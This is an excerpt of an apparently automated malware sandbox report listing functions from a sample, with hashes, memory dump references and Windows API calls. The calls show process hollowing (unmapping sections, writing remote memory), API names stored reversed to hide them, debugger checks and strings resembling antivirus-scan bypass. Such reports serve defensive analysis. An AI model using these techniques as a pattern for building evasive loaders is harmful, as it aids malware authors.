                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FilePath$AllocCloseCreateNameName_StringWrite
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3764614163-0
                                                                                                                                                          • Opcode ID: aaae4a828ecaff8934985c822528106e001073ed5fc22a5ee4da522b620cd516
                                                                                                                                                          • Instruction ID: a54c2f86a06800b6baf9aa21ad00f3e25910e1ca11ad5606a3ca6b642fa34376
                                                                                                                                                          • Opcode Fuzzy Hash: aaae4a828ecaff8934985c822528106e001073ed5fc22a5ee4da522b620cd516
                                                                                                                                                          • Instruction Fuzzy Hash: B521EC76B4020CBEEB50EAA4DD82F9EB7BDEB44B00F514462B704F71D0D7B4AA048A65
                                                                                                                                                          Function 02908654 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 029086E0
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$CreateProcessUser
                                                                                                                                                          • String ID: CreateProcessAsUserW$Kernel32
                                                                                                                                                          • API String ID: 3130163322-2353454454
                                                                                                                                                          • Opcode ID: 9166737885d7e470c63af0ccc5f996eef128c5f61945ff31c080238e3ebaddac
                                                                                                                                                          • Instruction ID: 4fe61fca0e03046c86730995a5a3edc3e6dbde2200fff8df9ce08317489b32eb
                                                                                                                                                          • Opcode Fuzzy Hash: 9166737885d7e470c63af0ccc5f996eef128c5f61945ff31c080238e3ebaddac
                                                                                                                                                          • Instruction Fuzzy Hash: 4911C2BA644208AFDB80EEADDC91FAB37EDEB4C704F514451BA08D7680D634E9108B65
                                                                                                                                                          Function 02907A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02907A9F
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                          • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                          • API String ID: 4072585319-445027087
                                                                                                                                                          • Opcode ID: c1c024e8f9fea2674045f312fa0af811dd1e860a76c254eb3662103d84945091
                                                                                                                                                          • Instruction ID: dfdef2751e01f3a2858dc44d312ba4bf72460bd6f973c93c9fcb03bbf1302899
                                                                                                                                                          • Opcode Fuzzy Hash: c1c024e8f9fea2674045f312fa0af811dd1e860a76c254eb3662103d84945091
                                                                                                                                                          • Instruction Fuzzy Hash: A1115E7960020CBFEB10EFA9DC91EAEB7EDEB4C714F404461BA00D7680DA30EA008B61
                                                                                                                                                          Function 02907A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02907A9F
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                          • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                          • API String ID: 4072585319-445027087
                                                                                                                                                          • Opcode ID: d7e20c7be802fb864f2577abd3172312b28f1c22fad388c6195637623444870a
                                                                                                                                                          • Instruction ID: ceacd40c55b4c23ed7f9cc3bacb52e9903450fd2bbec074847f173cd9bb8c1d9
                                                                                                                                                          • Opcode Fuzzy Hash: d7e20c7be802fb864f2577abd3172312b28f1c22fad388c6195637623444870a
                                                                                                                                                          • Instruction Fuzzy Hash: A5115E7960020CBFEB10EFA9DC91EAEB7EDEB4C714F404461BA00D7680DA30EA008B61
                                                                                                                                                          Function 029082CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 0290833D
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$MemoryReadVirtual
                                                                                                                                                          • String ID: ntdll$yromeMlautriVdaeRtN
                                                                                                                                                          • API String ID: 2521977463-737317276
                                                                                                                                                          • Opcode ID: 1fc3c48fd1b4297c1584b013723eb4132009e17a081b16e7898394e2df83f48b
                                                                                                                                                          • Instruction ID: ee9bd4a242cceb4646d1f21b2a595274b5b76c0a86509c1e58dfec691ce6894f
                                                                                                                                                          • Opcode Fuzzy Hash: 1fc3c48fd1b4297c1584b013723eb4132009e17a081b16e7898394e2df83f48b
                                                                                                                                                          • Instruction Fuzzy Hash: 38014079B44308AFDB54EFA9DC91EAA77EEFB8CB04F508461B604D7680D630E9108B25
                                                                                                                                                          Function 02907D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02907DEC
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$MemoryVirtualWrite
                                                                                                                                                          • String ID: Ntdll$yromeMlautriVetirW
                                                                                                                                                          • API String ID: 2719805696-3542721025
                                                                                                                                                          • Opcode ID: 61e57eaa25360a5b9f62d53848f663a9601eae46cb3ed9cf8253220e981fed56
                                                                                                                                                          • Instruction ID: be7d41d91c223854ecd5a40610b6536b1cea34deb00dc2aebab01a3208fdd0be
                                                                                                                                                          • Opcode Fuzzy Hash: 61e57eaa25360a5b9f62d53848f663a9601eae46cb3ed9cf8253220e981fed56
                                                                                                                                                          • Instruction Fuzzy Hash: C1016979A00208AFDB40EFA8D891E9BB7EDEB89B14F504850B604D7690C630ED108B61
                                                                                                                                                          Function 0290853C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • NtUnmapViewOfSection.NTDLL(?,?), ref: 029085A1
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$SectionUnmapView
                                                                                                                                                          • String ID: noitceSfOweiVpamnUtN$ntdll
                                                                                                                                                          • API String ID: 3503870465-2520021413
                                                                                                                                                          • Opcode ID: f1e40dfbf71a97b9a33a3b6a1f35c008425b3079eee38944c25373a2de49f8f5
                                                                                                                                                          • Instruction ID: 0b302664c495c3de121a2139387dca02a834f6b9687c56525eb05f56b6778e7a
                                                                                                                                                          • Opcode Fuzzy Hash: f1e40dfbf71a97b9a33a3b6a1f35c008425b3079eee38944c25373a2de49f8f5
                                                                                                                                                          • Instruction Fuzzy Hash: B101677DB4430CAFE750EBB5DC91E6EB7EEFB89704F518461B600D7680DA30A9048E25
                                                                                                                                                          Function 0290DEA4 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • Rt.N(?,?,00000000,0290DF72), ref: 0290DF20
                                                                                                                                                          • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0290DF72), ref: 0290DF36
                                                                                                                                                          • NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0290DF72), ref: 0290DF55
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Path$DeleteFileNameName_
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4284456518-0
                                                                                                                                                          • Opcode ID: cc427f1bdfbeae67edb0cf04b972fcf6faa896d569b29a8ae5982a717f6ac045
                                                                                                                                                          • Instruction ID: 51820821a444c4be501903e5c5aa2f6e2688ee489110dcad8bec222305f2e66d
                                                                                                                                                          • Opcode Fuzzy Hash: cc427f1bdfbeae67edb0cf04b972fcf6faa896d569b29a8ae5982a717f6ac045
                                                                                                                                                          • Instruction Fuzzy Hash: 2A01627994420C6EEB05E7E08DC2BCE77BDEB95700F5144E2D300E60C1DA74AB088B71
                                                                                                                                                          Function 0290DEF8 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 028F4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 028F4F2E
                                                                                                                                                          • Rt.N(?,?,00000000,0290DF72), ref: 0290DF20
                                                                                                                                                          • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0290DF72), ref: 0290DF36
                                                                                                                                                          • NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0290DF72), ref: 0290DF55
                                                                                                                                                            • Part of subcall function 028F4C60: SysFreeString.OLEAUT32(0290F798), ref: 028F4C6E
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: PathString$AllocDeleteFileFreeNameName_
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1530111750-0
                                                                                                                                                          • Opcode ID: 3d2cdd10f0e7f560f7ce6154d65789c77f26c687a9eff1db69ae573823470d4a
                                                                                                                                                          • Instruction ID: 17c13990539cb9b383d352776dc0bb79351d2601fe720a14a5dd31ecd8d8681c
                                                                                                                                                          • Opcode Fuzzy Hash: 3d2cdd10f0e7f560f7ce6154d65789c77f26c687a9eff1db69ae573823470d4a
                                                                                                                                                          • Instruction Fuzzy Hash: DA01E17595420CAEEB11EBE4DD82FCEB3ADDB48700F5144B2E704E25C0EA74AB048A75
                                                                                                                                                          Function 02906DC8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02906D6C: CLSIDFromProgID.OLE32(00000000,?,00000000,02906DB9,?,?,?,00000000), ref: 02906D99
                                                                                                                                                          • CoCreateInstance.OLE32(?,00000000,00000005,02906EAC,00000000,00000000,02906E2B,?,00000000,02906E9B), ref: 02906E17
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CreateFromInstanceProg
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2151042543-0
                                                                                                                                                          • Opcode ID: 1584680628f69887b19681a49192cb992e221d565d491793e4b889180627b76b
                                                                                                                                                          • Instruction ID: 6f837018947d0347843e1dab1b57296295b6aedea8149b8d92b92697b7eec65a
                                                                                                                                                          • Opcode Fuzzy Hash: 1584680628f69887b19681a49192cb992e221d565d491793e4b889180627b76b
                                                                                                                                                          • Instruction Fuzzy Hash: 2D01F235208708AEF711EF65DCA286FBBFDEB89B00B510875F505E26C0E731AA30C861
                                                                                                                                                          Function 0290FABC Relevance: 220.8, APIs: 8, Strings: 113, Instructions: 9098COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • InetIsOffline.URL(00000000,00000000,0291B99E,?,?,?,00000305,00000000,00000000), ref: 0290FAF6
                                                                                                                                                            • Part of subcall function 0290889C: LoadLibraryA.KERNEL32(00000000,00000000,02908983), ref: 029088D0
                                                                                                                                                            • Part of subcall function 0290889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02908983), ref: 029088E0
                                                                                                                                                            • Part of subcall function 0290889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 029088F9
                                                                                                                                                            • Part of subcall function 0290889C: FreeLibrary.KERNEL32(74AE0000,00000000,0294B388,Function_0000662C,00000004,0294B398,0294B388,000186A3,00000040,0294B39C,74AE0000,00000000,00000000,00000000,00000000,02908983), ref: 02908963
                                                                                                                                                            • Part of subcall function 0290F9DC: GetModuleHandleW.KERNEL32(KernelBase,?,0290FDE0,UacInitialize,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanString), ref: 0290F9E2
                                                                                                                                                            • Part of subcall function 0290F9DC: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0290F9F4
                                                                                                                                                            • Part of subcall function 0290FA38: GetModuleHandleW.KERNEL32(KernelBase), ref: 0290FA48
                                                                                                                                                            • Part of subcall function 0290FA38: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0290FA5A
                                                                                                                                                            • Part of subcall function 0290FA38: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0290FA71
                                                                                                                                                            • Part of subcall function 028F7E5C: GetFileAttributesA.KERNEL32(00000000,?,02910714,ScanString,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanString,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,UacInitialize), ref: 028F7E67
                                                                                                                                                            • Part of subcall function 028FC364: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02A3F8C4,?,02910A46,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession), ref: 028FC37B
                                                                                                                                                            • Part of subcall function 0290E064: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0290E134), ref: 0290E09F
                                                                                                                                                            • Part of subcall function 0290E064: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0290E134), ref: 0290E0CF
                                                                                                                                                            • Part of subcall function 0290E064: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0290E0E4
                                                                                                                                                            • Part of subcall function 0290E064: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0290E110
                                                                                                                                                            • Part of subcall function 0290E064: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0290E119
                                                                                                                                                            • Part of subcall function 028F7E80: GetFileAttributesA.KERNEL32(00000000,?,02913891,ScanString,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,Initialize), ref: 028F7E8B
                                                                                                                                                            • Part of subcall function 028F8048: CreateDirectoryA.KERNEL32(00000000,00000000,?,02913A2F,OpenSession,0294B37C,0291B9D4,ScanString,0294B37C,0291B9D4,Initialize,0294B37C,0291B9D4,ScanString,0294B37C,0291B9D4), ref: 028F8055
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: File$Module$AddressHandleProc$AttributesLibraryNamePath$CheckCloseCreateDebuggerDirectoryFreeInetInformationLoadName_OfflineOpenPresentQueryReadRemote
